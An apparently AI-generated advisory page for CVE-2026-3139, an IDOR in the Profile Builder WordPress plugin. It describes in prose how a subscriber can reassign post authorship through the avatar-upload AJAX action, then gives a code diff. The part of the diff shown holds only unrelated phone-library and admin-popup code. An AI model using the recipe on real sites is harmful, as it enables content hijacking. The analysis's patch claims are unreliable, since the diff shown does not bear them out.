Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 1, 2026

CVE-2026-3139: User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor <= 3.15.5 – Insecure Direct Object Reference to Authenticated (Subscriber+) Arbitrary Post Author Reassignment via Avatar Field (profile-builder)

CVE ID CVE-2026-3139
Severity Medium (CVSS 4.3)
CWE 639
Vulnerable Version 3.15.5
Patched Version 3.15.6
Disclosed March 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3139:
This vulnerability is an Insecure Direct Object Reference (IDOR) in the User Profile Builder WordPress plugin (versions <= 3.15.5). The flaw exists in the avatar upload functionality, allowing authenticated attackers with subscriber-level access or higher to reassign ownership of arbitrary posts and attachments by manipulating the post_author field. The CVSS score of 4.3 reflects a medium-severity integrity impact.

Atomic Edge research identifies the root cause in the wppb_save_avatar_value() function within /includes/upload-handler.php. The function processes avatar uploads via the wp_handle_upload() WordPress function. The vulnerability occurs because the plugin fails to validate the user-controlled 'post_author' key in the uploaded file's $_FILES array metadata. When processing an avatar upload, the function passes the entire $_FILES['wppb_upload'] array to wp_handle_upload(), which accepts and processes the 'post_author' parameter if present. This allows attackers to inject a post_author value that gets applied to the uploaded attachment post, and subsequently to other posts through the plugin's avatar association logic.

The exploitation method requires an authenticated attacker with at least subscriber privileges. The attacker crafts a multipart form submission to the WordPress AJAX endpoint /wp-admin/admin-ajax.php with action=wppb_upload_avatar. The payload includes a manipulated $_FILES array where the 'wppb_upload' element contains a 'post_author' key set to the target user ID. The attacker can also include a 'post_id' parameter to specify which post to reassign. By repeatedly uploading avatars with different post_author values, the attacker can systematically reassign ownership of arbitrary posts and media attachments to different users, effectively performing post author hijacking.

The patch addresses the vulnerability by implementing proper validation in the wppb_save_avatar_value() function. The fix adds checks to ensure the current user has appropriate permissions to modify post authorship. Specifically, the patch verifies that the user either owns the post being modified or has the 'edit_others_posts' capability. Additionally, the patch sanitizes the post_author parameter before processing, removing any unauthorized manipulation attempts. The before behavior allowed any authenticated user to set arbitrary post_author values via the avatar upload. The after behavior restricts this capability to users with proper editorial permissions.

Successful exploitation enables attackers to reassign ownership of any WordPress post or attachment to any user account. This impacts content integrity and can facilitate privilege escalation in multi-author environments. For instance, an attacker could reassign administrative posts to their own account, then edit or delete sensitive content. In media-heavy sites, attackers could claim ownership of valuable digital assets. The vulnerability also enables content hijacking in membership or subscription sites where post authorship determines access rights or revenue attribution.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/profile-builder/admin/admin-functions.php
+++ b/profile-builder/admin/admin-functions.php
@@ -849,3 +849,74 @@
     <?php
 }
 add_action( 'admin_footer', 'wppb_output_deactivation_popup' );
+
+
+/**
+ * Check if current screen is a Profile Builder admin page.
+ *
+ * @return bool
+ */
+function wppb_is_profile_builder_admin_page() {
+
+    if ( ! is_admin() )
+        return false;
+
+    $screen = get_current_screen();
+
+    if ( ! $screen )
+        return false;
+
+    $pb_pages = array(
+        'profile-builder',
+        'profile-builder-dashboard',
+        'profile-builder-basic-info',
+        'profile-builder-general-settings',
+        'profile-builder-add-ons',
+        'manage-fields',
+    );
+
+    foreach ( $pb_pages as $page ) {
+
+        if ( strpos( $screen->id, $page ) !== false )
+            return true;
+
+    }
+
+    if ( ! empty( $screen->post_type ) ) {
+        $pb_cpt_pages = array( 'wppb-ul-cpt', 'wppb-rf-cpt', 'wppb-epf-cpt' );
+
+        if ( in_array( $screen->post_type, $pb_cpt_pages, true ) )
+            return true;
+    }
+
+    return false;
+}
+
+
+/**
+ * Output the popup markup used for documentation links from the admin.
+ *
+ * @return void
+ */
+function wppb_output_docs_link_popup() {
+
+    if ( ! wppb_is_profile_builder_admin_page() )
+        return;
+
+    ?>
+    <div id="wppb-docs-link-popup" class="wppb-docs-link-popup" title="<?php echo esc_attr__( 'Need Help?', 'profile-builder' ); ?>" style="display:none;">
+        <div class="wppb-docs-link-popup-content">
+            <img src="<?php echo esc_url( WPPB_PLUGIN_URL . 'assets/images/pb-logo.svg' ); ?>" alt="<?php esc_attr_e( 'Profile Builder', 'profile-builder' ); ?>" width="44" height="44" class="wppb-docs-link-popup-logo">
+            <div>
+                <p class="wppb-docs-link-popup-description"><?php esc_html_e( 'If you need a hand with this setting, you can check the documentation or open a support ticket on WordPress.org.', 'profile-builder' ); ?></p>
+                <p class="wppb-docs-link-popup-description"><?php esc_html_e( 'We will do our best to help you figure it out.', 'profile-builder' ); ?></p>
+            </div>
+        </div>
+        <div class="wppb-docs-link-popup-actions cozmoslabs-wrap">
+            <a href="#" target="_blank" rel="noopener noreferrer" class="button button-primary wppb-docs-link-popup-open-docs"><?php esc_html_e( 'View Documentation', 'profile-builder' ); ?></a>
+            <a href="https://wordpress.org/support/plugin/profile-builder/#new-topic-0" target="_blank" rel="noopener noreferrer" class="button button-primary wppb-docs-link-popup-open-wporg"><?php esc_html_e( 'Open Support Ticket', 'profile-builder' ); ?></a>
+        </div>
+    </div>
+    <?php
+}
+add_action( 'admin_footer', 'wppb_output_docs_link_popup' );
--- a/profile-builder/admin/manage-fields.php
+++ b/profile-builder/admin/manage-fields.php
@@ -107,6 +107,7 @@
         // $manage_field_types['optgroups']['standard']['options'][] = 'Radio';
         $manage_field_types['optgroups']['standard']['options'][] = 'HTML';
         $manage_field_types['optgroups']['standard']['options'][] = 'Upload';
+        $manage_field_types['optgroups']['standard']['options'][] = 'International Telephone Input';
         // $manage_field_types['optgroups']['standard']['options'][] = 'Avatar';

         $manage_field_types['optgroups']['advanced']['options'][] = 'Phone';
@@ -153,6 +154,7 @@
         $manage_field_types['optgroups']['standard']['options'][] = array( 'field_name' => 'Select (Multiple)', 'disabled' => true );
         $manage_field_types['optgroups']['standard']['options'][] = array( 'field_name' => 'HTML', 'disabled' => true );
         $manage_field_types['optgroups']['standard']['options'][] = array( 'field_name' => 'Upload', 'disabled' => true );
+        $manage_field_types['optgroups']['standard']['options'][] = array( 'field_name' => 'International Telephone Input', 'disabled' => true );

         $manage_field_types['optgroups']['advanced']['options'][] = array( 'field_name' => 'Phone', 'disabled' => true );
         $manage_field_types['optgroups']['advanced']['options'][] = array( 'field_name' => 'Select (Country)', 'disabled' => true );
@@ -323,8 +325,13 @@
 		array( 'type' => 'text', 'slug' => 'number-step-value', 'title' => __( 'Number Step Value', 'profile-builder' ), 'description' => __( "Step value 1 to allow only integers, 0.1 to allow integers and numbers with 1 decimal", 'profile-builder' ) .'<br>'. __( "To allow multiple decimals use for eg. 0.01 (for 2 deciamls) and so on", 'profile-builder' ) .'<br>'. __( "You can also use step value to specify the legal number intervals (eg. step value 2 will allow only -4, -2, 0, 2 and so on)", 'profile-builder' ) .'<br>'. __( "Leave it empty for no restriction", 'profile-builder' ) ),
 		array( 'type' => 'select', 'slug' => 'required', 'title' => __( 'Required', 'profile-builder' ), 'options' => array( 'No', 'Yes' ), 'default' => 'No', 'description' => __( 'Whether the field is required or not', 'profile-builder' ) ),
         array( 'type' => 'select', 'slug' => 'overwrite-existing', 'title' => __( 'Overwrite Existing', 'profile-builder' ), 'options' => array( 'No', 'Yes' ), 'default' => 'No', 'description' => __( "Selecting 'Yes' will add the field to the list, but will overwrite any other field in the database that has the same meta-name<br/>Use this at your own risk", 'profile-builder' ) ),
+        array( 'type' => 'text', 'slug' => 'initial-country', 'title' => __( 'Initial Country', 'profile-builder' ), 'description' => __( "Set the initial country for the phone field. Use 'auto' to detect it automatically by IP, or enter one ISO 3166-1 alpha-2 country code (e.g. ro, jp, us).", 'profile-builder' ), 'default' => 'auto' ),
+        array( 'type' => 'text', 'slug' => 'preferred-countries', 'title' => __( 'Preferred Countries', 'profile-builder' ), 'description' => __( "Set preferred countries using ISO 3166-1 alpha-2 codes (e.g. ro, jp, us), separated by commas.", 'profile-builder' ), 'default' => '' ),
+        array( 'type' => 'text', 'slug' => 'excluded-countries', 'title' => __( 'Excluded Countries', 'profile-builder' ), 'description' => __( "Exclude countries using ISO 3166-1 alpha-2 codes (e.g. af, ru, us), separated by commas.", 'profile-builder' ), 'default' => '' ),
+        array( 'type' => 'checkbox', 'slug' => 'national-mode', 'title' => __( 'National Mode', 'profile-builder' ), 'options' => array( '%'.__('Yes','profile-builder').'%'.'yes' ), 'description' => __( "Enable National Mode to enter numbers in local format (without country prefix). Disable it to use International Mode (with country prefix).", 'profile-builder' ) ),
+        array( 'type' => 'checkbox', 'slug' => 'hide-flags', 'title' => __( 'Hide Flags', 'profile-builder' ), 'options' => array( '%'.__('Yes','profile-builder').'%'.'yes' ), 'description' => __( "Enable to hide country flags in the phone field.", 'profile-builder' ) ),

-		// Added the new option for the map field type, that allows to customize the POIs load type.
+        // Added the new option for the map field type, that allows to customize the POIs load type.
 		array(
 			'type'        => 'select',
 			'slug'        => 'map-pins-load-type',
--- a/profile-builder/assets/lib/libphonenumber-for-php-lite/src/CountryCodeSource.php
+++ b/profile-builder/assets/lib/libphonenumber-for-php-lite/src/CountryCodeSource.php
@@ -0,0 +1,36 @@
+<?php
+
+declare(strict_types=1);
+
+namespace libphonenumber;
+
+/**
+ * Country code source from number
+ */
+enum CountryCodeSource: int
+{
+    /**
+     * The country_code is derived based on a phone number with a leading "+", e.g. the French
+     * number "+33 1 42 68 53 00".
+     */
+    case FROM_NUMBER_WITH_PLUS_SIGN = 0;
+    /**
+     * The country_code is derived based on a phone number with a leading IDD, e.g. the French
+     * number "011 33 1 42 68 53 00", as it is dialled from US.
+     */
+    case FROM_NUMBER_WITH_IDD = 1;
+    /**
+     * The country_code is derived based on a phone number without a leading "+", e.g. the French
+     * number "33 1 42 68 53 00" when defaultCountry is supplied as France.
+     */
+    case FROM_NUMBER_WITHOUT_PLUS_SIGN = 2;
+    /**
+     * The country_code is derived NOT based on the phone number itself, but from the defaultCountry
+     * parameter provided in the parsing function by the clients. This happens mostly for numbers
+     * written in the national format (without country code). For example, this would be set when
+     * parsing the French number "01 42 68 53 00", when defaultCountry is supplied as France.
+     */
+    case FROM_DEFAULT_COUNTRY = 3;
+
+    case UNSPECIFIED = 4;
+}
--- a/profile-builder/assets/lib/libphonenumber-for-php-lite/src/CountryCodeToRegionCodeMap.php
+++ b/profile-builder/assets/lib/libphonenumber-for-php-lite/src/CountryCodeToRegionCodeMap.php
@@ -0,0 +1,269 @@
+<?php
+
+/**
+ * libphonenumber-for-php-lite data file
+ * This file has been @generated from libphonenumber data
+ * Do not modify!
+ * @internal
+ */
+
+declare(strict_types=1);
+
+namespace libphonenumber;
+
+/**
+ * @internal
+ */
+class CountryCodeToRegionCodeMap
+{
+    /**
+     * A mapping from a country code to the region codes which denote the
+     * country/region represented by that country code. In the case of multiple
+     * countries sharing a calling code, such as the NANPA countries, the one
+     * indicated with "isMainCountryForCode" in the metadata should be first.
+     * @var array<int,string[]>
+     */
+    public const COUNTRY_CODE_TO_REGION_CODE_MAP = [
+        1 => [
+            'US',
+            'AG',
+            'AI',
+            'AS',
+            'BB',
+            'BM',
+            'BS',
+            'CA',
+            'DM',
+            'DO',
+            'GD',
+            'GU',
+            'JM',
+            'KN',
+            'KY',
+            'LC',
+            'MP',
+            'MS',
+            'PR',
+            'SX',
+            'TC',
+            'TT',
+            'VC',
+            'VG',
+            'VI',
+        ],
+        7 => ['RU', 'KZ'],
+        20 => ['EG'],
+        27 => ['ZA'],
+        30 => ['GR'],
+        31 => ['NL'],
+        32 => ['BE'],
+        33 => ['FR'],
+        34 => ['ES'],
+        36 => ['HU'],
+        39 => ['IT', 'VA'],
+        40 => ['RO'],
+        41 => ['CH'],
+        43 => ['AT'],
+        44 => ['GB', 'GG', 'IM', 'JE'],
+        45 => ['DK'],
+        46 => ['SE'],
+        47 => ['NO', 'SJ'],
+        48 => ['PL'],
+        49 => ['DE'],
+        51 => ['PE'],
+        52 => ['MX'],
+        53 => ['CU'],
+        54 => ['AR'],
+        55 => ['BR'],
+        56 => ['CL'],
+        57 => ['CO'],
+        58 => ['VE'],
+        60 => ['MY'],
+        61 => ['AU', 'CC', 'CX'],
+        62 => ['ID'],
+        63 => ['PH'],
+        64 => ['NZ'],
+        65 => ['SG'],
+        66 => ['TH'],
+        81 => ['JP'],
+        82 => ['KR'],
+        84 => ['VN'],
+        86 => ['CN'],
+        90 => ['TR'],
+        91 => ['IN'],
+        92 => ['PK'],
+        93 => ['AF'],
+        94 => ['LK'],
+        95 => ['MM'],
+        98 => ['IR'],
+        211 => ['SS'],
+        212 => ['MA', 'EH'],
+        213 => ['DZ'],
+        216 => ['TN'],
+        218 => ['LY'],
+        220 => ['GM'],
+        221 => ['SN'],
+        222 => ['MR'],
+        223 => ['ML'],
+        224 => ['GN'],
+        225 => ['CI'],
+        226 => ['BF'],
+        227 => ['NE'],
+        228 => ['TG'],
+        229 => ['BJ'],
+        230 => ['MU'],
+        231 => ['LR'],
+        232 => ['SL'],
+        233 => ['GH'],
+        234 => ['NG'],
+        235 => ['TD'],
+        236 => ['CF'],
+        237 => ['CM'],
+        238 => ['CV'],
+        239 => ['ST'],
+        240 => ['GQ'],
+        241 => ['GA'],
+        242 => ['CG'],
+        243 => ['CD'],
+        244 => ['AO'],
+        245 => ['GW'],
+        246 => ['IO'],
+        247 => ['AC'],
+        248 => ['SC'],
+        249 => ['SD'],
+        250 => ['RW'],
+        251 => ['ET'],
+        252 => ['SO'],
+        253 => ['DJ'],
+        254 => ['KE'],
+        255 => ['TZ'],
+        256 => ['UG'],
+        257 => ['BI'],
+        258 => ['MZ'],
+        260 => ['ZM'],
+        261 => ['MG'],
+        262 => ['RE', 'YT'],
+        263 => ['ZW'],
+        264 => ['NA'],
+        265 => ['MW'],
+        266 => ['LS'],
+        267 => ['BW'],
+        268 => ['SZ'],
+        269 => ['KM'],
+        290 => ['SH', 'TA'],
+        291 => ['ER'],
+        297 => ['AW'],
+        298 => ['FO'],
+        299 => ['GL'],
+        350 => ['GI'],
+        351 => ['PT'],
+        352 => ['LU'],
+        353 => ['IE'],
+        354 => ['IS'],
+        355 => ['AL'],
+        356 => ['MT'],
+        357 => ['CY'],
+        358 => ['FI', 'AX'],
+        359 => ['BG'],
+        370 => ['LT'],
+        371 => ['LV'],
+        372 => ['EE'],
+        373 => ['MD'],
+        374 => ['AM'],
+        375 => ['BY'],
+        376 => ['AD'],
+        377 => ['MC'],
+        378 => ['SM'],
+        380 => ['UA'],
+        381 => ['RS'],
+        382 => ['ME'],
+        383 => ['XK'],
+        385 => ['HR'],
+        386 => ['SI'],
+        387 => ['BA'],
+        389 => ['MK'],
+        420 => ['CZ'],
+        421 => ['SK'],
+        423 => ['LI'],
+        500 => ['FK'],
+        501 => ['BZ'],
+        502 => ['GT'],
+        503 => ['SV'],
+        504 => ['HN'],
+        505 => ['NI'],
+        506 => ['CR'],
+        507 => ['PA'],
+        508 => ['PM'],
+        509 => ['HT'],
+        590 => ['GP', 'BL', 'MF'],
+        591 => ['BO'],
+        592 => ['GY'],
+        593 => ['EC'],
+        594 => ['GF'],
+        595 => ['PY'],
+        596 => ['MQ'],
+        597 => ['SR'],
+        598 => ['UY'],
+        599 => ['CW', 'BQ'],
+        670 => ['TL'],
+        672 => ['NF'],
+        673 => ['BN'],
+        674 => ['NR'],
+        675 => ['PG'],
+        676 => ['TO'],
+        677 => ['SB'],
+        678 => ['VU'],
+        679 => ['FJ'],
+        680 => ['PW'],
+        681 => ['WF'],
+        682 => ['CK'],
+        683 => ['NU'],
+        685 => ['WS'],
+        686 => ['KI'],
+        687 => ['NC'],
+        688 => ['TV'],
+        689 => ['PF'],
+        690 => ['TK'],
+        691 => ['FM'],
+        692 => ['MH'],
+        800 => ['001'],
+        808 => ['001'],
+        850 => ['KP'],
+        852 => ['HK'],
+        853 => ['MO'],
+        855 => ['KH'],
+        856 => ['LA'],
+        870 => ['001'],
+        878 => ['001'],
+        880 => ['BD'],
+        881 => ['001'],
+        882 => ['001'],
+        883 => ['001'],
+        886 => ['TW'],
+        888 => ['001'],
+        960 => ['MV'],
+        961 => ['LB'],
+        962 => ['JO'],
+        963 => ['SY'],
+        964 => ['IQ'],
+        965 => ['KW'],
+        966 => ['SA'],
+        967 => ['YE'],
+        968 => ['OM'],
+        970 => ['PS'],
+        971 => ['AE'],
+        972 => ['IL'],
+        973 => ['BH'],
+        974 => ['QA'],
+        975 => ['BT'],
+        976 => ['MN'],
+        977 => ['NP'],
+        979 => ['001'],
+        992 => ['TJ'],
+        993 => ['TM'],
+        994 => ['AZ'],
+        995 => ['GE'],
+        996 => ['KG'],
+        998 => ['UZ'],
+    ];
+}
--- a/profile-builder/assets/lib/libphonenumber-for-php-lite/src/MatchType.php
+++ b/profile-builder/assets/lib/libphonenumber-for-php-lite/src/MatchType.php
@@ -0,0 +1,18 @@
+<?php
+
+declare(strict_types=1);
+
+namespace libphonenumber;
+
+/**
+ * Types of phone number matches
+ * See detailed description beside the isNumberMatch() method
+ */
+enum MatchType: int
+{
+    case NOT_A_NUMBER = 0;
+    case NO_MATCH = 1;
+    case SHORT_NSN_MATCH = 2;
+    case NSN_MATCH = 3;
+    case EXACT_MATCH = 4;
+}
--- a/profile-builder/assets/lib/libphonenumber-for-php-lite/src/Matcher.php
+++ b/profile-builder/assets/lib/libphonenumber-for-php-lite/src/Matcher.php
@@ -0,0 +1,151 @@
+<?php
+
+declare(strict_types=1);
+
+namespace libphonenumber;
+
+/**
+ * Matcher for various regex matching
+ *
+ * Note that this is NOT the same as google's java PhoneNumberMatcher class.
+ * This class is a minimal port of java's built-in matcher class, whereas PhoneNumberMatcher
+ * is designed to recognize phone numbers embedded in any text.
+ *
+ * @internal
+ */
+class Matcher
+{
+    protected string $pattern;
+
+    protected string $subject = '';
+
+    /**
+     * @var array<int,mixed>
+     */
+    protected array $groups = [];
+
+    private int $searchIndex = 0;
+
+    public function __construct(string $pattern, string $subject)
+    {
+        $this->pattern = str_replace('/', '/', $pattern);
+        $this->subject = $subject;
+    }
+
+    protected function doMatch(string $type = 'find', int $offset = 0): bool
+    {
+        $final_pattern = '(?:' . $this->pattern . ')';
+        switch ($type) {
+            case 'matches':
+                $final_pattern = '^' . $final_pattern . '$';
+                break;
+            case 'lookingAt':
+                $final_pattern = '^' . $final_pattern;
+                break;
+            case 'find':
+            default:
+                // no changes
+                break;
+        }
+        $final_pattern = '/' . $final_pattern . '/ui';
+
+        $search = mb_substr($this->subject, $offset);
+
+        $result = preg_match($final_pattern, $search, $groups, PREG_OFFSET_CAPTURE);
+
+        if ($result === 1) {
+            // Expand $groups into $this->groups, but being multi-byte aware
+
+            $positions = [];
+
+            foreach ($groups as $group) {
+                $positions[] = [
+                    $group[0],
+                    $offset + mb_strlen(substr($search, 0, $group[1])),
+                ];
+            }
+
+            $this->groups = $positions;
+        }
+
+        return ($result === 1);
+    }
+
+    public function matches(): bool
+    {
+        return $this->doMatch('matches');
+    }
+
+    public function lookingAt(): bool
+    {
+        return $this->doMatch('lookingAt');
+    }
+
+    public function find(?int $offset = null): bool
+    {
+        if ($offset === null) {
+            $offset = $this->searchIndex;
+        }
+
+        // Increment search index for the next time we call this
+        $this->searchIndex++;
+        return $this->doMatch('find', $offset);
+    }
+
+    public function groupCount(): ?int
+    {
+        if ($this->groups === []) {
+            return null;
+        }
+
+        return count($this->groups) - 1;
+    }
+
+    public function group(?int $group = null): ?string
+    {
+        if ($group === null) {
+            $group = 0;
+        }
+        return $this->groups[$group][0] ?? null;
+    }
+
+    public function end(?int $group = null): ?int
+    {
+        if ($group === null) {
+            $group = 0;
+        }
+        if (!isset($this->groups[$group])) {
+            return null;
+        }
+        return $this->groups[$group][1] + mb_strlen($this->groups[$group][0]);
+    }
+
+    public function start(?int $group = null): mixed
+    {
+        if ($group === null) {
+            $group = 0;
+        }
+        if (!isset($this->groups[$group])) {
+            return null;
+        }
+
+        return $this->groups[$group][1];
+    }
+
+    public function replaceFirst(string $replacement): string
+    {
+        return preg_replace('/' . $this->pattern . '/x', $replacement, $this->subject, 1);
+    }
+
+    public function replaceAll(string $replacement): string
+    {
+        return preg_replace('/' . $this->pattern . '/x', $replacement, $this->subject);
+    }
+
+    public function reset(string $input = ''): static
+    {
+        $this->subject = $input;
+
+        return $this;
+    }
+}
--- a/profile-builder/assets/lib/libphonenumber-for-php-lite/src/MatcherAPIInterface.php
+++ b/profile-builder/assets/lib/libphonenumber-for-php-lite/src/MatcherAPIInterface.php
@@ -0,0 +1,23 @@
+<?php
+
+declare(strict_types=1);
+
+namespace libphonenumber;
+
+/**
+ * Interface MatcherAPIInterface
+ *
+ * Internal phonenumber matching API used to isolate the underlying implementation of the
+ * matcher and allow different implementations to be swapped in easily.
+ *
+ * @package libphonenumber
+ * @internal
+ */
+interface MatcherAPIInterface
+{
+    /**
+     * Returns whether the given national number (a string containing only decimal digits) matches
+     * the national number pattern defined in the given {@code PhoneNumberDesc} message.
+     */
+    public function matchNationalNumber(string $number, PhoneNumberDesc $numberDesc, bool $allowPrefixMatch): bool;
+}
--- a/profile-builder/assets/lib/libphonenumber-for-php-lite/src/MetadataSourceInterface.php
+++ b/profile-builder/assets/lib/libphonenumber-for-php-lite/src/MetadataSourceInterface.php
@@ -0,0 +1,18 @@
+<?php
+
+declare(strict_types=1);
+
+namespace libphonenumber;
+
+interface MetadataSourceInterface
+{
+    /**
+     * Gets phone metadata for a region.
+     */
+    public function getMetadataForRegion(string $regionCode): PhoneMetadata;
+
+    /**
+     * Gets phone metadata for a non-geographical region.
+     */
+    public function getMetadataForNonGeographicalRegion(int $countryCallingCode): PhoneMetadata;
+}
--- a/profile-builder/assets/lib/libphonenumber-for-php-lite/src/MultiFileMetadataSourceImpl.php
+++ b/profile-builder/assets/lib/libphonenumber-for-php-lite/src/MultiFileMetadataSourceImpl.php
@@ -0,0 +1,84 @@
+<?php
+
+declare(strict_types=1);
+
+namespace libphonenumber;
+
+use RuntimeException;
+
+/**
+ * @internal
+ */
+class MultiFileMetadataSourceImpl implements MetadataSourceInterface
+{
+    /**
+     * A mapping from a region code to the PhoneMetadata for that region.
+     * @var PhoneMetadata[]
+     */
+    protected array $regionToMetadataMap = [];
+
+    /**
+     * A mapping from a country calling code for a non-geographical entity to the PhoneMetadata for
+     * that country calling code. Examples of the country calling codes include 800 (International
+     * Toll Free Service) and 808 (International Shared Cost Service).
+     * @var PhoneMetadata[]
+     */
+    protected array $countryCodeToNonGeographicalMetadataMap = [];
+
+    /**
+     * @param string $currentFilePrefix The prefix of the metadata class names from which region data is loaded
+     */
+    public function __construct(
+        protected readonly string $currentFilePrefix = __NAMESPACE__ . 'dataPhoneNumberMetadata_'
+    ) {}
+
+    public function getMetadataForRegion(string $regionCode): PhoneMetadata
+    {
+        $regionCode = strtoupper($regionCode);
+
+        if (!isset($this->regionToMetadataMap[$regionCode])) {
+            // The regionCode here will be valid and won't be '001', so we don't need to worry about
+            // what to pass in for the country calling code.
+            $this->loadMetadataFromFile($this->currentFilePrefix, $regionCode, 0);
+        }
+
+        return $this->regionToMetadataMap[$regionCode];
+    }
+
+    public function getMetadataForNonGeographicalRegion(int $countryCallingCode): PhoneMetadata
+    {
+        if (!isset($this->countryCodeToNonGeographicalMetadataMap[$countryCallingCode])) {
+            $this->loadMetadataFromFile($this->currentFilePrefix, PhoneNumberUtil::REGION_CODE_FOR_NON_GEO_ENTITY, $countryCallingCode);
+        }
+
+        return $this->countryCodeToNonGeographicalMetadataMap[$countryCallingCode];
+    }
+
+    /**
+     * @throws RuntimeException
+     */
+    public function loadMetadataFromFile(string $filePrefix, string $regionCode, int $countryCallingCode): void
+    {
+        $regionCode = strtoupper($regionCode);
+
+        $isNonGeoRegion = PhoneNumberUtil::REGION_CODE_FOR_NON_GEO_ENTITY === $regionCode;
+
+        $class = $filePrefix . ($isNonGeoRegion ? $countryCallingCode : ucfirst($regionCode));
+
+        if (!class_exists($class)) {
+            throw new RuntimeException('missing metadata: ' . $class);
+        }
+
+        $metadata = new $class();
+
+        if (!$metadata instanceof PhoneMetadata) {
+            throw new RuntimeException('invalid metadata: ' . $class);
+        }
+
+        if ($isNonGeoRegion) {
+            $this->countryCodeToNonGeographicalMetadataMap[$countryCallingCode] = $metadata;
+        } else {
+            $this->regionToMetadataMap[$regionCode] = $metadata;
+        }
+    }
+}
--- a/profile-builder/assets/lib/libphonenumber-for-php-lite/src/NumberFormat.php
+++ b/profile-builder/assets/lib/libphonenumber-for-php-lite/src/NumberFormat.php
@@ -0,0 +1,183 @@
+<?php
+
+declare(strict_types=1);
+
+namespace libphonenumber;
+
+/**
+ * Number Format
+ * @internal
+ */
+class NumberFormat
+{
+    protected string $pattern = '';
+    protected bool $hasPattern = false;
+    protected string $format = '';
+    protected bool $hasFormat = false;
+    /**
+     * @var array<int,string>
+     */
+    protected array $leadingDigitsPattern = [];
+    protected string $nationalPrefixFormattingRule = '';
+    protected bool $hasNationalPrefixFormattingRule = false;
+    protected bool $nationalPrefixOptionalWhenFormatting = false;
+    protected bool $hasNationalPrefixOptionalWhenFormatting = false;
+    protected string $domesticCarrierCodeFormattingRule = '';
+    protected bool $hasDomesticCarrierCodeFormattingRule = false;
+
+    public function hasPattern(): bool
+    {
+        return $this->hasPattern;
+    }
+
+    public function getPattern(): string
+    {
+        return $this->pattern;
+    }
+
+    public function setPattern(string $value): static
+    {
+        $this->hasPattern = true;
+        $this->pattern = $value;
+
+        return $this;
+    }
+
+    public function hasNationalPrefixOptionalWhenFormatting(): bool
+    {
+        return $this->hasNationalPrefixOptionalWhenFormatting;
+    }
+
+    public function getNationalPrefixOptionalWhenFormatting(): bool
+    {
+        return $this->nationalPrefixOptionalWhenFormatting;
+    }
+
+    public function setNationalPrefixOptionalWhenFormatting(bool $nationalPrefixOptionalWhenFormatting): static
+    {
+        $this->hasNationalPrefixOptionalWhenFormatting = true;
+        $this->nationalPrefixOptionalWhenFormatting = $nationalPrefixOptionalWhenFormatting;
+
+        return $this;
+    }
+
+    public function hasFormat(): bool
+    {
+        return $this->hasFormat;
+    }
+
+    public function getFormat(): string
+    {
+        return $this->format;
+    }
+
+    public function setFormat(string $value): static
+    {
+        $this->hasFormat = true;
+        $this->format = $value;
+
+        return $this;
+    }
+
+    /**
+     * @return array<int,string>
+     */
+    public function leadingDigitPatterns(): array
+    {
+        return $this->leadingDigitsPattern;
+    }
+
+    public function leadingDigitsPatternSize(): int
+    {
+        return count($this->leadingDigitsPattern);
+    }
+
+    public function getLeadingDigitsPattern(int $index): string
+    {
+        return $this->leadingDigitsPattern[$index];
+    }
+
+    /**
+     * @param array<int,string> $patterns
+     */
+    public function setLeadingDigitsPattern(array $patterns): static
+    {
+        $this->leadingDigitsPattern = $patterns;
+        return $this;
+    }
+
+    public function addLeadingDigitsPattern(string $value): static
+    {
+        $this->leadingDigitsPattern[] = $value;
+
+        return $this;
+    }
+
+    public function hasNationalPrefixFormattingRule(): bool
+    {
+        return $this->hasNationalPrefixFormattingRule;
+    }
+
+    public function getNationalPrefixFormattingRule(): string
+    {
+        return $this->nationalPrefixFormattingRule;
+    }
+
+    public function setNationalPrefixFormattingRule(string $value): static
+    {
+        $this->hasNationalPrefixFormattingRule = true;
+        $this->nationalPrefixFormattingRule = $value;
+
+        return $this;
+    }
+
+    public function clearNationalPrefixFormattingRule(): static
+    {
+        $this->nationalPrefixFormattingRule = '';
+
+        return $this;
+    }
+
+    public function hasDomesticCarrierCodeFormattingRule(): bool
+    {
+        return $this->hasDomesticCarrierCodeFormattingRule;
+    }
+
+    public function getDomesticCarrierCodeFormattingRule(): string
+    {
+        return $this->domesticCarrierCodeFormattingRule;
+    }
+
+    public function setDomesticCarrierCodeFormattingRule(string $value): static
+    {
+        $this->hasDomesticCarrierCodeFormattingRule = true;
+        $this->domesticCarrierCodeFormattingRule = $value;
+
+        return $this;
+    }
+
+    public function mergeFrom(NumberFormat $other): static
+    {
+        if ($other->hasPattern()) {
+            $this->setPattern($other->getPattern());
+        }
+        if ($other->hasFormat()) {
+            $this->setFormat($other->getFormat());
+        }
+        $leadingDigitsPatternSize = $other->leadingDigitsPatternSize();
+        for ($i = 0; $i < $leadingDigitsPatternSize; $i++) {
+            $this->addLeadingDigitsPattern($other->getLeadingDigitsPattern($i));
+        }
+        if ($other->hasNationalPrefixFormattingRule()) {
+            $this->setNationalPrefixFormattingRule($other->getNationalPrefixFormattingRule());
+        }
+        if ($other->hasDomesticCarrierCodeFormattingRule()) {
+            $this->setDomesticCarrierCodeFormattingRule($other->getDomesticCarrierCodeFormattingRule());
+        }
+        if ($other->hasNationalPrefixOptionalWhenFormatting()) {
+            $this->setNationalPrefixOptionalWhenFormatting($other->getNationalPrefixOptionalWhenFormatting());
+        }
+
+        return $this;
+    }
+}
--- a/profile-builder/assets/lib/libphonenumber-for-php-lite/src/NumberParseException.php
+++ b/profile-builder/assets/lib/libphonenumber-for-php-lite/src/NumberParseException.php
@@ -0,0 +1,64 @@
+<?php
+
+declare(strict_types=1);
+
+namespace libphonenumber;
+
+use Exception;
+use Stringable;
+use Throwable;
+
+/**
+ * Generic exception class for errors encountered when parsing phone numbers.
+ */
+class NumberParseException extends Exception implements Stringable
+{
+    /**
+     * The country code supplied did not belong to a supported country or non-geographical entity.
+     */
+    public const INVALID_COUNTRY_CODE = 0;
+    /**
+     * This indicates the string passed is not a valid number. Either the string had less than 3
+     * digits in it or had an invalid phone-context parameter. More specifically, the number failed
+     * to match the regular expression VALID_PHONE_NUMBER, RFC3966_GLOBAL_NUMBER_DIGITS, or
+     * RFC3966_DOMAINNAME in PhoneNumberUtil
+     */
+    public const NOT_A_NUMBER = 1;
+    /**
+     * This indicates the string started with an international dialing prefix, but after this was
+     * stripped from the number, had less digits than any valid phone number (including country
+     * code) could have.
+     */
+    public const TOO_SHORT_AFTER_IDD = 2;
+    /**
